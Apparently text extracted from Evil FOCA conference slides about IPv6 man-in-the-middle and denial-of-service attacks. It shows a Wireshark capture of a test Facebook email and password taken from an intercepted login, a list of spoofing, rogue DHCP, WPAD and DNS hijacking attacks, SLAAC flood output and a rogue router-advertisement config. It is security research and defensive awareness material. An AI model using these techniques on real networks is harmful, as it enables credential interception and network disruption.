The image shows a screenshot of the Facebook website in Spanish. The browser address bar displays "http://es-es.facebook.com/". The page features the Facebook logo and a navigation bar with a search icon, a home icon, and a settings icon. The main content area is divided into two sections. On the left, there is a promotional message: "Facebook te ayuda a comunicarte y compartir con las personas que conoces." Below this message is a world map with several orange person icons connected by dashed lines, representing a global network. On the right, there is a registration form titled "Regístrate" (Sign up). The form includes the following fields and options: "Nombre" (Name), "Apellidos" (Last names), "Tu correo electrónico" (Your email), "Vuelve a escribir tu correo" (Re-enter your email), "Contraseña" (Password), "Fecha de nacimiento" (Date of birth) with dropdown menus for "Día" (Day), "Mes" (Month), and "Año" (Year), and a link "¿Por qué tengo que dar mi fecha de nacimiento?" (Why do I have to give my date of birth?). At the bottom of the form, there are radio buttons for "Mujer" (Woman) and "Hombre" (Man).

facebook

Correo electrónico o teléfono
evil@foca.com

Contraseña
••••

Entrar

No cerrar sesión

¿Has olvidado tu contraseña?

Regístrate

Es gratis (y lo seguirá siendo).

Nombre

Apellidos

Tu correo electrónico

Vuelve a escribir tu correo

Contraseña


Fecha de nacimiento

Día Mes Año

¿Por qué tengo que dar mi fecha de nacimiento?

Mujer Hombre

Step 10: Grab password with WireShark



The screenshot shows the Wireshark network protocol analyzer interface. The filter bar is set to 'http'. The packet list pane shows three packets, with packet 3932 selected. The packet details pane shows the structure of the selected packet, including Ethernet II, Internet Protocol Version 6, Transmission Control Protocol, and Hypertext Transfer Protocol. The Hypertext Transfer Protocol section is expanded, showing the raw data of the POST request body, which contains a password.

No.	Time	Source	Destination	Protocol	Length	Info
3913	236.227946	fe80::6965:7ae2:65e3:3958	fe80::d1a5:3fc4:8ac	HTTP	79	HTTP/1.1 200 OK (image/x-icon)
3920	236.561207	fe80::6965:7ae2:65e3:3958	fe80::d1a5:3fc4:8ac	HTTP	79	HTTP/1.1 200 OK (GIF89a)
3932	245.859387	fe80::d1a5:3fc4:8ac9:7f36	fe80::6965:7ae2:65e	HTTP	200	POST http://www.facebook.com/login.php?login_

Frame 3932: 200 bytes on wire (1600 bits), 200 bytes captured (1600 bits) on interface 0

- Ethernet II, Src: Microsof_01:32:04 (00:15:5d:01:32:04), Dst: Microsof_01:32:06 (00:15:5d:01:32:06)
- Internet Protocol Version 6, Src: fe80::d1a5:3fc4:8ac9:7f36 (fe80::d1a5:3fc4:8ac9:7f36), Dst: fe80::6965:7ae2:65e3:3958 (fe80::6965:7ae2:65e3:3958)
- Transmission Control Protocol, Src Port: 49257 (49257), Dst Port: 61638 (61638), Seq: 1036, Ack: 1, Len: 126
- [2 Reassembled TCP segments (1161 bytes): #3931(1035), #3932(126)]
- Hypertext Transfer Protocol
- Line-based text data: application/x-www-form-urlencoded
lsd=Avrb-jl5&email=evil@foca.com&pass=1234&default_persistent=0&timezone=-120&lgnrnd=072803_TAL0&lgnjs=1374935331&locale=es_ES

Other Evil FOCA Attacks

- MiTM IPv6
 - NA Spoofing
 - SLAAC attack
 - WPAD (IPv6)
 - Rogue DHCP
- DOS
 - IPv6 to fake MAC using NA Spoofing (in progress)
 - SLAAC DOS using RA Storm
- MiTM IPv4
 - ARP Spoofing
 - Rogue DHCP (in progress)
 - DHCP ACK injection
 - WPAD (IPv4)
- DOS IPv4
 - Fake MAC to IPv4
- DNS Hijacking

SLAAC D.O.S.

```
C:\Windows\system32>ipconfig
```

```
Windows IP Configuration
```

```
Ethernet adapter Local Area Connection:
```

```
Connection-specific DNS Suffix: localdomain
```

```
IPv6 Address. . . . . : 4:1:1:0:156d:9e7e:48d3:704e
IPv6 Address. . . . . : 4:2:1:0:156d:9e7e:48d3:704e
IPv6 Address. . . . . : 4:3:1:0:156d:9e7e:48d3:704e
IPv6 Address. . . . . : 4:4:1:0:156d:9e7e:48d3:704e
IPv6 Address. . . . . : 4:5:1:0:156d:9e7e:48d3:704e
IPv6 Address. . . . . : 4:6:1:0:156d:9e7e:48d3:704e
IPv6 Address. . . . . : 4:7:1:0:156d:9e7e:48d3:704e
IPv6 Address. . . . . : 4:8:1:0:156d:9e7e:48d3:704e
IPv6 Address. . . . . : 4:9:1:0:156d:9e7e:48d3:704e
IPv6 Address. . . . . : 4:10:1:0:156d:9e7e:48d3:704e
IPv6 Address. . . . . : 4:11:1:0:156d:9e7e:48d3:704e
IPv6 Address. . . . . : 4:12:1:0:156d:9e7e:48d3:704e
IPv6 Address. . . . . : 4:13:1:0:156d:9e7e:48d3:704e
IPv6 Address. . . . . : 4:14:1:0:156d:9e7e:48d3:704e
```

Conclusions

- IPv6 is on your box
 - Configure it or kill it (if possible)
- IPv6 is on your network
 - IPv4 security controls are not enough
 - Topera (port scanner over IPv6)
 - Slowloris over IPv6
 - Kaspersky POD
 - Michael Lynn & CISCO GATE
 - SUDO bug (IPv6)
 - ...

Big Thanks to

- THC (The Hacker's Choice)
 - Included in Back Track/Kali
 - Parasite6
 - Redir6
 - Flood_router6
 -
- Scappy

```
interface eth1
{
    AdvSendAdvert on;
    AdvOtherConfigFlag on;
    MinRtrAdvInterval 3;
    MaxRtrAdvInterval 10;
    #
    AdvDefaultPreference low;
    #
    AdvHomeAgentFlag off;
    prefix 2001::/64
    {
        AdvOnLink on;
        AdvAutonomous on;
        AdvRouterAddr on;
    };
};
```

Street Fighter “spanish” Vega



Enjoy Evil FOCA

- <http://www.informatica64.com/evilfoca/>
- Next week, Defcon Version at:
- <http://blog.elevenpaths.com>
- chema@11paths.com
- @chemaalonso

